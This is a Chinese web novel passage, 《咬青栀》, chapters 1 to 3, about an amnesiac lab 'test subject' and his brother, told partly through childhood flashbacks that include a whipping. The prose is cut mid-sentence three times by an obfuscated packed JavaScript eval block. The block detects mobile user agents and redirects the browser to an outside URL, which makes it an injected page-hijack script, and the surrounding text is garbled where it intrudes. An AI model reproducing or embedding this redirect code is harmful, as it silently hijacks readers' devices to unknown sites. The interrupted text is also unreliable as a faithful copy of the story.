《咬青栀》 1. 躲什么 20xx年夏至,酷寒殊甚。 黑蒙蒙的天分不清昼夜,仿佛有一双无形大手笼照大地,空气间反常流动着冷空气。 许栀意身着白色长裙,躺在冰冷的钢板床上,薄荷绿色的双眸黯淡呆滞。 “实验体012号,听到请回答。”熟悉的女声从天花板角落里的摄像头传来。 许栀意直直躺在床上,一动不动,目光一瞬不瞬,难以聚焦。 女声像是习惯般,接着继续道:“健康状况良好,情绪萎靡、血液中k元素稳定……” 报告结束,摄像头自动向四周绕了一圈,将许栀意全方位展示在监控室的众人的视线中。 高清摄像头扫过许栀意的正脸,一扫而过清冷疏离的气质,素艳的五官与冷白的肌肤调和,他安静平躺着,犹如一具没有灵魂的玩偶。 许栀意的漂亮统一了基地的审美,直观且无可挑剔。 人们第一次见他,便舍不得将眼神从他的身上移开半分,实在是惊艳至极。 可惜丢了魂,成了个傻子,不会说话、不会活动,行尸走肉般待在房间里,离开房间半步就崩溃尖叫大哭。 他们曾尝试过各种方法想要“激活”他的灵魂,却无一例外,得不到任何回应。 许栀意将外界与自己隔开,形成一道清晰的晨昏线,任由自己彻底关进黑夜里。 但也不是完全没有例外,他曾对一个词有过剧烈反应。 “哥哥。” 只要听到这两个字,泪水就如同断线的珍珠,顺着脸颊的弧度滚下,凄然落下。 大脑就快要爆炸了,明明是夏季,正值盛夏,许栀意却感受到刺骨的寒风猎猎拂过身体,骨缝都透着冷。 他迷离倘恍地闭上双眼,迷蒙想着:是不是冬季要来了。 冬日降临,哥哥可以接自己回家了吗? 哥哥,许砚修,溶进他血液里、刻在心脏中央的名字,许栀意大概一辈子也忘不了。 哥哥……哥哥……哥哥…… 许栀意颤动着睫毛,盛着泪滴睁开眼,刺眼的白光映在他的脸上,摇晃的光影里站着一个人。 男人高大的身影摇曳如鬼怪,半个身子掩在灯光下,黑色阴影爬满半张脸,只留有一只罕见的、明亮的绿色瞳孔。 和许栀意一样的瞳色。 平日里平淡无波的双眸猛然掀起惊涛骇浪,许栀意削瘦的下巴也跟着痉挛的身子抖动,他动了动唇,扯动喉咙的瞬间,嗓子里挤出短促的气音。 他想要发声,只剩徒劳。干涩的喉咙宛如生长在刀刃上,每一次试图发声都是在刀尖上行走般剜心刻骨地痛。 男人俯下身子,相同的瞳色散发出异样的狠戾,空气中由他发出的乌木沉香钻进许栀意的鼻息间。 木质香与栀子味纠缠不清,霎时间,许栀意顿住思考,就连害怕都抛之脑后。 亲眼望着他们缩短的距离的影子,直至彻底看清男人的真面目。 男人身形挺拔落拓,眉目深邃,五官凌厉极具攻击力,气场强大,周身围绕着独属于他倨傲贵气的漠然。 许栀意的意识渐渐回笼,他拼命地想、拼命地想,这是许砚修,是哥哥。 这张脸太熟悉,熟悉到他可以闭上眼描摹出脸庞的每一处轮廓和棱角。 他张着泛白的薄唇,沙哑嘶呖的短音如受惊的猫叫,许栀意有太多话想要说。 “实验体012。”男人低沉陌生的声音打断了许栀意的思绪。 眼泪戛然而止,挂在睫毛上、停在面颊。 他忘记如何眨眼,呆呆望着逆光的男人,眼前却恍惚闪出无数个重影:替他掖被角的许砚修、背着他上楼的许砚修、为他破例的许砚修、摔进深渊的许砚修…… 这不是他的许砚修,不是。 他们有同样的一张脸,可哥哥不会这样叫自己,许栀意不愿相信,又宁愿再次痴傻。 男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559835|171355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的单臂撑在床板上,肌肉线条流畅贲张,压迫性的目光将许栀意圈禁在方寸之间。 他的眉骨微微耸动,一只宽大的手倏地捏住许栀意的下巴,一手探去,满是骨感。 “别躲。”男人暗哑的声线像灼人的火焰,传入许栀意的耳朵里,再逐渐传遍四肢百骸,似被烫到般应激闭眼。 他的眼皮像振翅的蝴蝶,男人的手指在松开许栀意尖锐的下巴时,他莹白的皮肤很快染上一层红晕。 手指游离在蝶翼边沿,白色的蝴蝶扇动着翅膀,露出藏在身下的绿宝石。 许栀意红肿的双眸含着滚烫的泪,他保持着缄默,双目通红而又倔强,死水一样的绿潭重焕生机。 “012,你在想什么?”男人低声叹笑,宛如叹息又像讥诮,粗粝的指骨划过许栀意满头的白发,在光线下泛着银色的光泽,洁白无瑕如纯洁的天使。 天使也会流泪吗。 他吻上两瓣圆唇,感觉像是覆上夏季雨后柔软的云,湿润温暖。 许栀意全身都在颤抖,他将所有情绪化作无声的眼泪,一滴滴砸到男人唇边。 许砚修终于吮到他酸涩的泪,彼此□□,许砚修不急不缓撬开许栀意紧闭的双唇,力道精准攫取他的舌尖。 双舌激烈交缠,许栀意无力抵抗,舌面被反复碾压咬吮,到最后已然发麻发痛。 那双细腻如绿翡翠的双眸失神望向远方,许栀意分不清、辨不明,到底是泪水模糊了双眼,还是他本就待在幻境里。 还有多久才能离开? 没等他想明白,男人猛烈的攻势就将他拖回现实的漩涡里,加深这个吻,牙齿轻咬他的舌尖,警告他的不专心。 唇齿厮磨间,许栀意的思绪变得无比透明,他高高投掷,思绪就像一张大大的风筝,在空中打了个旋儿,随后稳步上升。 风筝被风吹着推着走,到天上去。 风筝遇到过往急湍的气流,回到过去。 2. 三次 暮春悄然离去,空气中隐隐飘来初夏的气息。 天色璀璨明朗,五月的Y城先一步快进到梅雨季。 乌云蓄着瓢泼大雨,也不急着下,连着几日磨磨蹭蹭,每天随心情随意落下点滴。 气象台预计未来十几天将持续小雨天气,许栀意就是在其中某天出生的。 说来凑巧,他降生的那天,天光无限好,阳光将数日淋湿透底的地面晒干,整座Y城干燥温暖。 五岁的许砚修站在病房门口,爷爷立在另一侧,手持一根木金权杖,精神矍铄满面严肃,管家贴心推开房门。 病房空旷明亮,病床上躺着一位筋疲力尽的母亲,她全身被汗水浸透,脸色苍白,累到连一根手指都抬不起来。 婴儿床放置在病床边,出生没多久的婴儿全身包着小被子,像蚕蛹一样依偎在小床上。 小小一团,皮肤通红,一张圆脸皱巴巴。 许砚修沉默将轻描淡写的视线收回,耳边爷爷与医生的对谈清楚真切: “他这个身体,双性人?能不能治。” “最快也要等到孩子三岁……” “……” 这场对话极不愉快,十分钟后,爷爷吹胡子瞪眼摆手离开,并没有叫上许砚修。 床头柜摆着一个透明花瓶,白色栀子泡在晶莹透亮的水里,袅袅散开淡淡花香。 许砚修的母亲——江湘女士,眉目流转间充满哀伤。 年幼的许砚修看穿她内心哀莫大于心死,冷眼旁观她的痛苦。 江湘女士费力扭过头,眼神再无波澜:“你和你爸爸,真是一个模子刻出来的。” 都是一样的冷心冷血,精致的利己主义,给人一种暴雪冰川的冷峭感。 许砚修压下眼睫,神似许官山三分,嘴角扯出一抹轻笑。 这是对江湘女士无声的嘲讽,更是在提醒她,是她先放弃他的。 这场没有硝烟的对持由几声婴儿的哭啼终结。初生儿的哭声尖利刺耳,上一秒还闭着眼酣睡,下一秒就毫无预兆发出暴鸣。 那张脸变得更加皱巴了,江湘女士脆弱的神经被孩子的哭声挑紧,她高呼着“不要吵了,你能不能放过我!” 许砚修淡定掠过一眼,旋即头也不回向外走去,管家了然跟上他的步伐。 走到医院门口,许砚修才注意到医院里种植了大片栀子树,细直的树干托着一团团球状叶群,翠绿色的树叶上缀着清秀的白花瓣。 花叶空隙的光影黄晕斑驳,微风拂过,甜腻的香味无孔不入。 黑色宾利停在正门口,惹来四面八方的注目,许砚修上车前定眸看了会,又不留痕迹转移视线。 “砚修,回去之后,抄一遍《心经》。”许冠军丢下不容置噱的话语。 随后闭目养神,爬满皱纹的双手有规律地摩挲着权杖的金球。 “嗯。”许砚修倚靠在车门边,语调平直应答。 这几日的阴蒙也像窗外一闪而过的街景,化作模糊的光点难以捕捉。 许砚修想起病房里那几枝栀子,白绿相映开得正盛,可盛极必衰,甚至已经能预想到未来凋敝的景象。 他又想起小床上柔软易碎的婴儿,在这个世界上,他又多了一位亲人,被爷爷定义为“怪物”的妹妹。 他向来对亲情淡薄,妹妹对他而言,只是一个有着血缘关系的不相干的人,对此,他内心没有任何波动。 医院探望是许砚修最后一次见江湘女士,也是与许栀意相遇的第一面。 “南风知我意,吹梦到西洲。” 恰逢栀子盛放时节,江湘女士为他取名为栀意。 对这个畸形儿,她实在不喜,可母亲为数不多的责任感还是驱使她为许栀意选个好名字,再多的,江湘女士统统甩手掌柜不管。 许砚修更管不着,几近三年光阴,他在许家老宅日复一日过着克己复礼的乏味日子。 这三年间他们所有人的生活都发生了天翻地覆的变化。 江湘女士痛失两个孩子的抚养权,从许家撕下一层厚厚的肥油远走国外并声称永不回国;许官山生意场上失利,许家势力重回许冠军股掌间。 直至今日,许官山在国外磕药磕多猝死在女人怀里。 八岁的许砚修听到这个消息后拧紧眉峰,只说三字:“知道了。” 口吻淡漠,仿佛去世的并不是自己的生父,而是路边随处可见的阿猫阿狗。 许官山下葬那天,是许砚修见许栀意的第二面,天气晴,又是艳阳天。 肃穆的庄园经过白菊与□□的雕饰显得更加庄严,偌大的空间被花束填满,丧乐压低声响,将悲伤的氛围渲染得无比厚重。 宾客们鱼贯而入,许冠军也迅速进入状态装作悲痛万分的模样,西装革履守在棺材前,在众人劝慰的话语下,留下鳄鱼的眼泪。 他今年五十岁,保养得当的皮囊看上去只有三十出头的样子,都说虎毒不食子,但许冠军够狠、有魄力,年少时私生子上位,人到暮年自然不肯拱手退位。 哪怕那人是自己的亲儿子。也许为许官山流下的泪,也掺杂了那么几分真心,但他的双眼早已被利益与权利熏染蒙蔽。 其他人也都心知肚明,毕竟不会有爱子深厚的父亲,会请十个法师超度自己未过头七的儿子,可阳奉阴违的作秀谁不会呢。 青烟缭绕,肃静的场景在许砚修眼底变成滑稽的搞笑电影,许冠军成为最佳影帝的不二人选。 葬礼间隙,许砚修厌倦地捏了捏鼻梁,径自朝阁楼走去,顺着老旧的楼梯,手掌轻易推开木门,眼神不经意落在屋内的陈设。 还是和往常一样,应该是被下人精心打理过,每一件物品都一尘不染。 许砚修环视一圈,最后将意味不明的目光落在两位不速之客身上,一个保姆和一个小孩。 那是许栀意。 阔别三年,许砚修一眼就认出来,这就是那个裹在襁褓中啼哭难听的妹妹,现在已长成小姑娘的样貌。 白白瘦瘦,阁楼狭小的窗棂透过几束光线,打在他的发丝上,宛如镀了一层薄薄的光釉。 太瘦了,他穿着一件黑色裙子,裙摆刚过膝盖,露出纤细的小腿。 许砚修默不作声凝视几秒,无端想起常来光顾院子的麻雀,灰扑扑的羽毛、牙签似的双腿,体小脸尖。 “少爷。”保姆温柔出声,两手搭在许栀意单薄的肩上,“这是栀意妹妹,家主怕他受惊扰就让我们来这了。” 许栀意眨着一双橄榄色的眼睛,因为过分羸弱,巴掌大的小脸衬得双眸更大更亮,他怔怔不说话,小手拉着保姆的裤脚,往后退了几步。 那双安静空灵的绿眼睛里充满好奇与害怕。 许砚修闻言冷笑,怕惊扰?许冠军总有太多说辞,这说法他自己听了不会发笑吗,怕是说着说着自己也信了。 “嗯。”许砚修气定神闲应声敛下眉目,正准备抬脚转身,保姆的声音又再次传来: “栀意,这是哥哥。” 许栀意望向许砚修,从他刚进来开始,许栀意就一直乖乖抬头仰望着他。 “少爷,栀意还不会说话,但他很听话,我也经常在家告诉他,您是他的哥哥。”保姆语速轻缓,脸上挂着公式化的微笑。 许砚修想起来,外界传得沸沸扬扬,说许家千金是天生哑巴命犯孤煞,害得许官山妻离子散,更有甚者大言不惭道,许官山就是被这个不男不女的孩子克死了。 三岁还不会说话,医院诊断不出任何问题,将病因归为心理障碍。 从出生起被养在三环外,每个月用一笔少得可怜的营养费打发,不会说话反而才是正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559836|171355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常的。 许砚修神情淡然,他站在许栀意身前,远超同龄人的身高将许栀意瘦小的矮个挡得严严实实。 窗外悠扬的音乐还在继续演奏,逼仄的阁楼里只有几束微弱的光作伴,许栀意像一只精致的洋娃娃,身体幅度轻轻动了一下。 “哥……哥……” 他的呼吸滚烫,喉咙带有发涩的灼热滋味,吐出在心里默念过无数次到滚瓜烂熟地步的称谓。 许栀意第一次说话、第一次叫人、第一次勇敢,仅许砚修可见。 每个人在幼年时期被引导着学习语言时,第一个词往往都是爸爸或者妈妈。许栀意不一样,保姆带他长大,教他说的第一个词是哥哥。 哥哥,许砚修,他未曾见过面的至亲,却被告知是这个世界上最爱他的人。 许栀意不会说话,但他愿意听,潜移默化将依赖藏进心底。 骗子。许栀意扑闪的浓密睫毛颤起,哥哥分明不认识自己,哥哥不是全世界最爱自己的人。 保姆讶然看向许栀意,搭扣在他肩骨的手掌收拢些许,不可置信的神色显露无疑。 学不会开口说话的许栀意终于在三岁那年松口,发声艰难,嗓音清脆,嘴唇一张一合。 时间一分一秒流逝,小女孩扬着脖颈,骄傲得如同白天鹅般,洁白的牙齿咬着下嘴唇,缓缓张口,重复一遍:“哥哥。” 这一次比起上一次流畅很多,带着小孩独有的稚气童音。 他叫自己哥哥,许砚修丝毫不为所动。 冷淡掀起眼皮,利落转过身,看样子是要走了。 手指触碰到房门边缘,即将推开房门之际,许砚修又遽然扭过头。 许砚修迈着沉稳的步伐,三步并作两步与许栀意相对而立,保姆在他眼中是可有可无的空气。 他抬手,两指捏住许栀意尖尖的下巴,拇指陷进软绵绵的皮肤里,像陷进冬季的棉被里。 嗓音自带与这个年纪不符的稳重:“再叫一次。” 再叫一次,我就带你走。 许栀意吃痛地吸了口气,宛如两根柳条般细长的手臂攀上许砚修的手腕,身躯微乎其微抖了一瞬。 “哥哥。”这是许栀意第三次叫许砚修哥哥,尾音上翘,声音又小又轻。 圆润的鼻头不安地翕动几下,杏眸快速眨动,他紧张到吞咽口水的细微动作,令喉咙下意识划过薄弱的颈肉。 见此,许砚修不由得勾起唇角。 这是第三次,他决定带许栀意走。 有时候血缘真的很奇怪,时隔三年之久,又把他们绑在一块,就像是命中注定。 哥哥二字像契约又像是誓言,许砚修很难形容自己的心情,就好像一个人在空寂苍茫的雪地里走太久,偶遇到一捧熊熊燃烧的篝火。 所以想留住来之不易的热源,这不是对亲情束手无策,他是对许栀意无力抵抗。 当妹妹喃喃低语倾泻出那两个字,一切的一切都覆水难收,是诅咒亦是良缘。 许砚修放下手腕,许栀意低着头拉他,什么也不说,安心把自己交给他,跟着他走出阁楼。 房门彻底落锁的前几秒,许栀意最后回过头看了一眼,保姆两手摆在小腹上,笑容如常。 他又看了看拉着自己的哥哥,背影已经有未来高峻沉着的影子,他用自己的小手紧紧握住许砚修的手指,引得许砚修侧目。 许栀意不明所以睁大双眼。 柔顺的白发紧贴着脸颊,全身上下唯一保有肉感的面庞安静接受明灭的灯光,无辜的双眸始终闪烁着。 许栀意温热的体温通过指腹的接触传进许砚修的左心房,暖流不动声色钻进冰冷的心间。 他要将许栀意的命运与自己牢牢绑在一起,永不分离。 这个世界上不该有相同孤独的两个人。 3. 童话故事 他们穿过漆黑幽静的走廊,光影重重,在许栀意的发端披上层层轻纱。 许砚修感受到掌心瘠瘦的小手,像握住一团有温度的羽毛。 许砚修的体温偏凉,和他的性子极贴合,许栀意则完全相反,身体宛如一个小火炉,烧在暴雪天,足以消融周遭十里白雪。 他们的体温慢慢融合变得温热,就好像春天提早降临。 许砚修带领许栀意穿过走廊、走过大厅,迎着众人怪异探寻的目光,在庄园后院的空地前站定。 庄园园林设计风格独特,满园珍异罕见的植物枝繁叶茂,呈鲜绿色、一片欣欣向荣的生命感。 与深坑中盘踞的黑色棺材形成巨大反差。 许冠军两手支在权杖上,双目通红,眼下淤积厚厚墨色,硬挺的身子仿佛无坚不摧。 耳边忽闪过细微骚动的声响,许冠军看了眼,又不甚在意地目光一转,用干枯的手指敲了敲金球。 许栀意懵懂跟在许砚修身边,所有人一副悲痛万分的模样,音乐不间断演奏,许栀意从未听过这般沉重的音调。 这是他第一次嗅到悲伤的味道,他用手心捂住胸口,那里闷闷的,但他不知道为什么会这样。 不是因为丧父而悲伤,他甚至不理解父亲二字的含义,要怪就怪曲调太过悠长。 许砚修分过余光,矮矮的小孩耷拉着眼尾,情绪平平的样子。 他有些迟疑的将虎口处圈紧,许栀意注意到手上安抚的动作,垂下的眼尾倏然上扬,安静仰视着哥哥。 许栀意在许砚修眼中变成一块玻璃,有一种纯净易碎的质感。 许官山来这世间走一遭,去世时年未满四十,许多人唏嘘,感叹岁月无常;也有很多人欣喜,说终于让这无恶不作的小人糟了报应。 这一切,好的、坏的声音,都随着棺材落地,尘封进泥土里而消音。 葬礼结束,过去所有都画上句点。 许冠军拄着权杖,视线漫不经心扫过许栀意的身影,眸色暗沉几分,脚步不停向外走去。 许砚修感知手中有松动的痕迹,紧接着一条腿被松软的触感蹭了蹭。 他看向被拉扯着的裤腿,紧握的手随着许栀意的动作而抽离,细白手臂垂下,一颗毛茸茸的脑袋靠过来,倚在他的小腿处。 好乖。就算眼皮不自觉打架,许栀意还是努力睁大眼睛,四肢无力所以将全身重量都挨着许砚修。 像缩成一团没有安全感的小动物,即使这样,也还是讲礼貌,满面乖巧恬静。 许砚修用手及时接住小孩东倒西歪的身躯,预防快要接触地面的危险,思忖几秒,迟缓用双手托住许栀意的身体。 他抱起许栀意,似是抱起一只玩偶,在两臂间几乎没有重量。 许栀意被哥哥抱起的一瞬间,眼皮就服帖闭上,两眼一闭,鼻音哼几声,安心睡了过去。 他太小了,一上午的时间太久,他已困倦到极点,终于再也撑不住昏睡过去。 小孩就是这样,觉多,在哪里都能睡着。 许砚修第一次抱小孩,姿势有些奇怪,上半身僵硬不敢用力,生怕稍微用力,怀里的许栀意就会像嫩豆腐一样被捏碎。 怀里的小人儿脸色红润,睫毛卷翘,时不时扇动几秒,好像有蝴蝶短暂停留过。 许栀意的睡相漂亮极了,愈加像一只精致小巧的洋娃娃玩偶。 他抱着许栀意,上楼的步子比寻常轻。 单手扭开房门把手,走进房间里,房间装饰单调简约,看起来冷淡无聊,毫无生趣。 来到床边,许砚修弯下上身放慢动作,将许栀意平放在床上,小家伙脑袋一接触到柔软的被子就自觉窝进被子里。 许栀意阖着眼沉沉睡去,一双手还挂在许砚修的手臂上,久久不肯放开,像是迫切要抓住什么一样。 许砚修顿了顿,身形放缓,一只手圈住许栀意虚搭在自己手臂上的手腕。 细弱的手腕皮肤白皙,他的白是近乎透明的白,深色血管清晰可见。 许砚修的手指感触到许栀意跳动的脉搏,本该十几秒完成的动作,硬是拖了好久才放下。 鲜活的、温暖的,一具幼小的生命睡在自己的床上,许砚修生出些许不真实感,可许栀意浅浅的呼吸声又告诉他: 这都是真实存在的,许栀意真实存在自己身边,他既乖巧又听话,睡着之后可以一直维持一个动作。 他可以不那么听话的。 许砚修垂目凝视许栀意良久,直到突兀的脚步声远远传来,夹杂着地板被什么东西敲击的杂音。 许砚修下意识的反应不再是木然,而是,许栀意醒了怎么办。 他想捂住许栀意的耳朵。 许冠军停在许砚修身后,许砚修不急不缓转过身,懒倦抬起半张脸,目光淡淡。 “听说,你要把他放在主家养着,有没有这回事。”许冠军单刀直入道,没有丝毫拐弯抹角的余地。 他周身散开来不容拒绝的威严,目光炯炯,唇角下扬,眉头尽力压着。这是许冠军生气的前兆,语气却还能波澜不惊。 空气中弥漫着风雨欲来山满楼的危险气息。 许砚修对上他的神色没有半分惧色,他略微颔首,凉薄狭长的眼型显得格外漠然。 “嗯。”他吝啬应答道,神态自若的成熟作态超越其本身年龄。 像极了他父亲年轻时的神貌。 许冠军甚至有几瞬错目,站在面前的人并不是许砚修,而是许官山。 “老样子,去领罚吧。”许冠军没有说多余的话,将那几秒恍然按压下,又变回从容不迫的神态。 说完,许冠军的眼神绕过许砚修望向许栀意,两眉紧皱,冷哼一声。 不要指望他对这个“孙女”有半点好脸色,许冠军混迹名利场大半辈子,也是第一次见双性人,还成了许家血脉。 这是奇耻大辱的污点,如果不是为了顾及名声,他早就想把这个怪物丢掉任其自生自灭,有人却上赶着把人带回来,还嫌不够丢人吗。 许冠军自诩了解许砚修,冷感冷意下掩盖着三分桀骜,所以他才更不明白,许砚修留下许栀意的动机。 真是愚蠢至极的决定。 “嗯。”许砚修一脸云淡风轻,嘴角扯出一丝嘲讽的笑意,不冷不淡回道。 许冠军先一步离开,权杖重重落在地面咚咚响。他无法忍受床上小小的孩子,多看一眼,就越发无法控制暴戾的情绪。 许砚修瞥向床上的方向,许栀意正陷在深度睡眠里,整个人放松又舒适,侧睡的姿势正对着自己,小手捏着枕头一角。 软得一塌糊涂的脸颊肉被枕头挤压着,嘴唇也嘟起来,时不时抿抿唇,好像随时都能语出惊人一句梦话。 收回目光,许砚修轻手轻脚退出房间,通往训诫室的路要经过一条长长的走廊。 身边没有小尾巴,没有软柔的掌心肉,也没有似有似无的栀子香,就连阳光都不肯爬进窗户里。 “三十鞭,你确定要留下他?”许冠军的身影匿在黑暗中,嘲弄的口吻在空荡的室内无限放大。 许砚修没吭声,利落脱下上衣背对着许冠军,后背疤痕虬结,陈年旧伤密密麻麻。 本人看上去并不在意,更像是家常便饭般习以为常。 长鞭在空气中挥动的风声尤为清晰,后背刚愈合结痂的皮肤又变得鲜血模糊。 许砚修脸色却未变分毫,嘴角上扬的弧度充满戏谑,但收紧握拢的指节还是暴露了他此刻心绪并不平静。 三十下,一鞭不少,后背皮肤已然触目惊心,许冠军不知道许砚修受不受得住,他自己抽完后额头都渗出薄薄细汗。 许砚修当然受得住,天生的强体魄和快自愈能力,即使捱下三十鞭也能不慌不忙站起身,除了面色沉郁几度,并没有任何区别。 身上掺杂着血腥的煞气,许砚修捡起衣服,看也不看一眼身后的许冠军,垂首潦草迈步,神思比身体先一步到达房间。 他没有细想过,为什么要将许栀意留在自己身边,但这个问题压根不用深思熟虑。 喜欢,想这么做。 如果硬要给出一个理由,那他的回答是: 想要保护许栀意的童真,不想要失去许栀意身上的天真和孩子气,为此,他想要快点摆脱孩子的身份。 也或许是兄妹之间无法斩断的亲近缘,他们如同一对残缺的磁铁,一见面就无法抑止相互吸引的情感。 许砚修推开房门,屋内装饰一如既往,却不再是冷冰冰的基调,因为从门框边探出一颗圆溜溜的脑袋。 许栀意应该睡醒没多久,头发蓬脸散在胸前,两眼惺忪,两腮泛着苹果红。 睡醒之后他没有看到哥哥,房间空寂无声,小尾巴迷迷糊糊摸下床,双脚赤脚踩在地板上,寒意从脚底板蔓延至胸口。 许栀意摇摇晃晃走到门口,眯着眼盯着门把手默默数数,一、二、三…… 数到第十下,门把手旋转一圈,许栀意向后挪动冰凉的双脚,门打开一条小缝,他就小心的挤出门外。 许栀意呆呆站着,脚趾不自觉蜷起搭在一起,身子微微一顿。 许砚修眉头微不可查的聚起,霍然伸出手臂,不由分说将许栀意捞起,背后伤口崩起,他也并不在意。 “哥哥。”许栀意喃喃细语,在保护姿态十足的怀抱中放松身体,望住许砚修的额角,用鼻子仔细嗅来嗅去。 淡淡的铁锈腥味,许栀意在自己摔跤时曾闻到过这种气味,那时候自己的膝盖上有一道伤口,很疼,哥哥现在也很疼吧。 他不懂得怎么表达安慰,用自己半边脸蹭过许砚修的下颔:哥哥,不要疼。 许砚修紧盯着许栀意,却说不出任何话来,像小动物一样依赖着自己的许栀意,他在撒娇吗,亦或是在……安抚自己。 他沉默片刻,缓缓开口“不要光脚踩地板,会着凉。” 许栀意用亮晶晶的绿眼睛回望着许砚修,两耳竖起来,努力分辨哥哥的意思。 “凉……”他找准许砚修的尾字,笨拙地重复着。 说完,嘴角漾起一抹恳切的笑意,春风也变得黯淡起来。 许砚修拿许栀意无可奈何,蹲下身子,将小孩放回床上,注视他很久。 在小孩不解的目光中,他伸手抓起许栀意的一只脚,用手摸了摸,犹如一块浑然寒意的玉。 他皱着眉用手捂了捂,有了些许温度后就把许栀意的双腿塞进被子里盖好。 许栀意看着空空大大的床,用手心轻轻拍了拍,歪着头,示意许砚修上来。 “乖一点,我洗完澡来陪你。”许砚修站直,狼狈移开视线。 他发现自己无法对许栀意说出拒绝的话,但更不想身后的印记脏了床。 许砚修走进房间深处,走进浴室里,淅淅沥沥的水声冲刷血红的痕迹,浓浓的铁腥味被抽风机吸走。 他很快从浴室里出来,低垂着眼,再次与站在浴室门后的许栀意对上眼。 许栀意很听话,显然将他的话记在心里,脚上穿着一双对他而言大得离谱的拖鞋,这是许砚修的拖鞋。 小脚穿大鞋,一只鞋比他的脸都要大得多,穿在他脚下像鸭子的脚蹼。 “我,洗……洗澡。”小鸭子竭力维持自己的平衡,一只手撑在门框边,一只手伸出一根手指指了指自己。 眉目间是数不清的认真,配上滑稽的两只大拖鞋,有种一本正经搞笑的感觉。 许砚修忍俊不禁敛下笑意,侧过身子留出过道供小鸭子穿行。 “你会洗吗?”许砚修只好勾了勾唇问道。 浴室内水汽蒸腾白雾缈缈,小鸭子拖着大拖鞋,走起路来笨重又幽默。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15559837|171355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >许栀意回过头,清澈的绿色眼睛隔着雾,抽风机抽走雾气,像拨开迷雾找寻到一片森林。 他郑重点点头,声音很轻:“会。” 许砚修转过身子来到小森林身边,他没有用淋浴,而是打开一边的浴缸,调试到合适温度开始放水。 水流逐渐装满整个浴缸,灯光在波光粼粼到水面投下一个个光圈,许栀意好奇的看着浴缸,看得入神。 “这是浴巾,这是沐浴露。”许砚修将两件物品放在矮凳上,继续道,“我去给你找睡衣,洗完披着浴巾出来。” 许栀意小鸡啄米似点头,许砚修退出浴室后,他慢吞吞脱下不平整的黑裙子,踩着凳子边缘将两脚放进浴缸里,随后慢慢坐下。 对于一个三岁的小孩子来说,独自洗澡还是有很大难度的,许栀意吃力地洗刷着身体,可浴室里还是不可避免增加许多水渍。 当他全身湿透洗完澡后,许栀意拿起浴巾,很大,披在肩上甚至可以拖地,远远望去像拖尾裙。 上面有哥哥的味道,许栀意无法形容具体是什么味道,但是有着让人安心的力量。 他放在鼻间闻了闻,更多的是自己身上传来的沐浴露味道,不是什么香水沐浴露,简简单单的皂角味。 许栀意趿着大拖鞋来到门口,许砚修早已找好睡衣,等候他有一会儿功夫了。 浴室门前垫了一张脚垫,上面摆放着一双小孩拖鞋,看样子粉粉嫩嫩的,像是这个年纪的小女孩会喜欢的款式。 果不其然,许栀意看到小拖鞋后两眼放光,迫不及待将两只湿漉漉的小脚伸进小拖鞋里,哒哒哒走到许砚修面前。 许栀意仰着头,看向哥哥的眼神带着毫无保留的信任。 许砚修递过一套睡衣,上面印有迪士尼公主的图案,应该是美人鱼公主,有着红色的长发,海蓝色的鱼尾,俏皮又灵动。 许栀意兴奋接过,松垮批在肩头的浴巾顺势滑落,他的头发丝淌着晶莹的水珠,一看就没有好好擦身子。 他太小了,光是一个人洗完澡就用尽全力。 许砚修蹲下身与他平视,双手用浴巾包裹住他的身子,专注擦拭水珠汇聚的部位。 虽然他很瘦,但他的皮肤生得很好,像牛奶绸缎般丝滑。 许栀意看着哥哥给自己擦身子,忽闪忽闪的眼睛莹亮闪烁,和深海里的绿星星一样。 被淋湿的落汤小鸭经过许砚修细致的擦干服务后,整个人变得焕然一新,干燥、整洁。 他很听话,自己就能穿好睡衣,低下头,下巴抵在两条锁骨中央,用手摊开睡衣前的图案,爱不释手摸了摸上面的人鱼公主。 好容易满足,一双拖鞋,一套睡衣,他就可以露出毫无保留的笑容,纯净透澈犹如一位小公主。 都不用许砚修开口,许栀意就主动爬上床,自己拉好被子,将期待的目光转向许砚修:“故事。” 说完又重复一遍:“故事。” 许栀意想要听故事,童话故事,保姆每天晚上都会给他讲睡前故事。 他听过白雪公主、睡美人、灰姑娘……好几位公主的故事,保姆告诉他,自己也是公主。许栀意不相信,但这并不妨碍他渴望听到童话般的情节。 公主都会遇到王子,他从前没有遇到王子,但现在他似乎有点相信自己就是公主了。 哥哥就是自己的王子。 许栀意没有听过人鱼公主的故事,但他猜,结局一定是美好到令人向往的。 许砚修愣了一瞬,很快意识到,许栀意想要听他讲述睡前故事,这或许是他的习惯。 许栀意怕他不明白,拉起一小片睡衣的布料,用食指轻点了点上面的图案。 他想听美人鱼的故事。 许砚修这个年龄段的人几乎都听过很多童话故事,甚至已有许多人不再相信虚假的童话,许砚修就是这类人。 从他有意识起,他就不再相信童话,那是无能者寄予希望的骗局,他曾经真的这么认为。 